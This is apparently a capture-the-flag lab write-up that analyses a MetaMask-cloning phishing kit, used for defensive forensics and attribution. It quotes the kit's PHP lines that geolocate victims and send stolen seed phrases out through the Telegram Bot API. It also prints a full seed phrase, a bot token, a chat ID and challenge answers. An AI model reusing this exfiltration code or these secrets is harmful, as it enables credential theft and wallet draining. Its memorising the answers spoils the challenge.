Scenario: A DeFi platform reported multiple users hit by unauthorized fund withdrawals.
A forensic review uncovered a phishing site impersonating the legitimate PancakeSwap exchange, luring victims
into entering their wallet seed phrases. The kit was hosted on a compromised server and exfiltrated stolen
credentials via a Telegram bot. The task: read the kit's source directly to map its infrastructure, IOCs, and the
developer's own footprint left behind in the code.
Kit Anatomy
The extracted phishing kit sits in a small, self-contained folder —
Everything that actually matters, though, is in the tiny PHP file.
fonts/, a stray
.DS_Store (a giveaway the developer built this on macOS), an 820 KB index file, and a
2 KB metamask.php. The index file is the entire client-side clone: a pixel-accurate copy
of MetaMask's real "import wallet" screen, down to the exact CSS class names
(import-account__title, import-account__secret-phrase) used by the genuine extension. That
visual fidelity is the whole trick — victims see a UI they already trust and don't think twice about pasting in
their seed phrase.Everything that actually matters, though, is in the tiny PHP file.
metamask.php is a single-purpose
credential harvester: it geolocates the victim, timestamps the theft, writes the seed phrase to a local log, and
immediately relays it out over Telegram — all in under 25 lines of code. There's no obfuscation, no encoding, no
attempt to hide intent; this is a commodity kit built for speed and volume, not stealth against anyone who actually
opens the file.
Q1Which wallet is used for asking the seed phrase?
The extracted kit's
index page renders a MetaMask-branded "Continue with Seed Phrase" import screen. The markup lifts MetaMask's own component structure directly — <div class="import-account__title">Continue with Seed Phrase</div> and a textarea class="import-account__secret-phrase" with the placeholder "Separate each word with a single space" — so the clone behaves identically to the real extension's UI, right down to the 12-word validation prompt.answerMetaMask
Q2What is the file name that has the code for the phishing kit?
Inside the same folder as the cloned
index page sits metamask.php — a 2 KB file, tiny compared to the 820 KB front-end, which is the tell that all the real logic (harvesting, logging, exfil) lives here rather than client-side.answermetamask.php
Q3In which language was the kit written?
The
.php extension and the editor's PHP syntax highlighting confirm it outright — a very ordinary choice for a kit meant to be dropped onto any cheap shared-hosting box with PHP enabled by default.answerPHP
Q4What service does the kit use to retrieve the victim's machine information?
cat metamask.php
The first block of
It passes the victim's own IP straight to the Sypex Geo API, decodes the JSON response, and pulls out
metamask.php does victim profiling before anything else is even shown:$request = file_get_contents("http://api.sypexgeo.net/json/".$_SERVER['REMOTE_ADDR']);It passes the victim's own IP straight to the Sypex Geo API, decodes the JSON response, and pulls out
$geo (country) and $city before formatting a $date stamp — so every stolen seed phrase gets geolocated and timestamped automatically, no manual lookup needed on the attacker's end.answerSypex Geo
Q5How many seed phrases were already collected?
The kit's local
log.txt keeps every harvested phrase in plaintext, one victim per line — three lines, three separate compromised wallets, all sitting unencrypted on the compromised host right next to the kit itself.answer3
Q6Could you please provide the seed phrase associated with the most recent phishing incident?
The most recent entry is the last line in
log.txt — a full 12-word BIP39-style mnemonic, which is all that's needed to fully drain the associated wallet.answerfather also recycle embody balance concert mechanic believe owner pair muffin hockey
Q7Which medium was used for credential dumping?
cat metamask.php
The
It builds a standard Telegram Bot API
sendTel() function is where the theft actually leaves the server:$filename = "https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$id."&text=".urlencode($message);It builds a standard Telegram Bot API
sendMessage call and fires it with file_get_contents($filename) — no custom C2, no dedicated server to seize, just a legitimate third-party API abused as a drop point.answerTelegram
Q8What is the token for accessing the channel?
The bot token is hardcoded directly in
$token, in the standard <bot_id>:<secret> format Telegram issues from @BotFather. Because it's hardcoded and unobfuscated, this single string is enough to fully impersonate the phisher's bot — including pulling its message history via getUpdates.answer5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10
Q9What is the Chat ID for the phisher's channel?
Right next to the token,
$id holds the destination chat ID that every sendMessage call targets — this is the attacker's personal or group chat where every stolen phrase actually lands in real time.answer5442785564
Q10What are the allies of the phish kit developer?
A commented-out block sits just above the working code — a full "shoutout" message: "With love and respect to all the hustler out there, this is a small gift to my brothers, all the best with your luck," signed off with a handle. Kit authors leaving this kind of signature is common in underground crews trading tools, and it's genuinely useful for attribution: the same handle often reappears across forum posts, other kit builds, or Telegram channels selling similar tooling.
answerj1j1b1s@m3r0
IOC Summary
| Item | Value |
|---|---|
| Impersonated Brand | MetaMask (import UI) / PancakeSwap (landing page) |
| Kit File | metamask.php (PHP) |
| Client-side Clone | index (820 KB, cloned MetaMask DOM/CSS) |
| Geolocation Service | Sypex Geo (api.sypexgeo.net/json/) |
| Local Credential Log | log.txt (plaintext, 3 victims) |
| Seed Phrases Harvested | 3 |
| Exfil Channel | Telegram Bot API (sendMessage) |
| Bot Token | 5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10 |
| Chat ID | 5442785564 |
| Developer Handle | j1j1b1s@m3r0 |
Lessons learned: Crypto phishing kits rarely reinvent the UI — they clone the real wallet's
import flow pixel-for-pixel, class names and all, which makes visual triage unreliable and source review essential.
Telegram bots remain the exfiltration channel of choice for commodity kits: cheap, fast, and a token + chat ID pair
extracted from the source is often enough to pull the attacker's entire victim log directly from the Telegram Bot
API, no warrant required. The kit's total lack of obfuscation — hardcoded token, plaintext log, unminified PHP — is
typical of mass-market kits optimized for volume over stealth; the attacker is betting on victims never inspecting
the page source, not on defeating an analyst who does. Kit authors frequently leave a "signature" in commented-out
code — a nickname, a shoutout, an alias — which is genuinely useful for attribution and for spotting the same kit
reused across other phishing campaigns.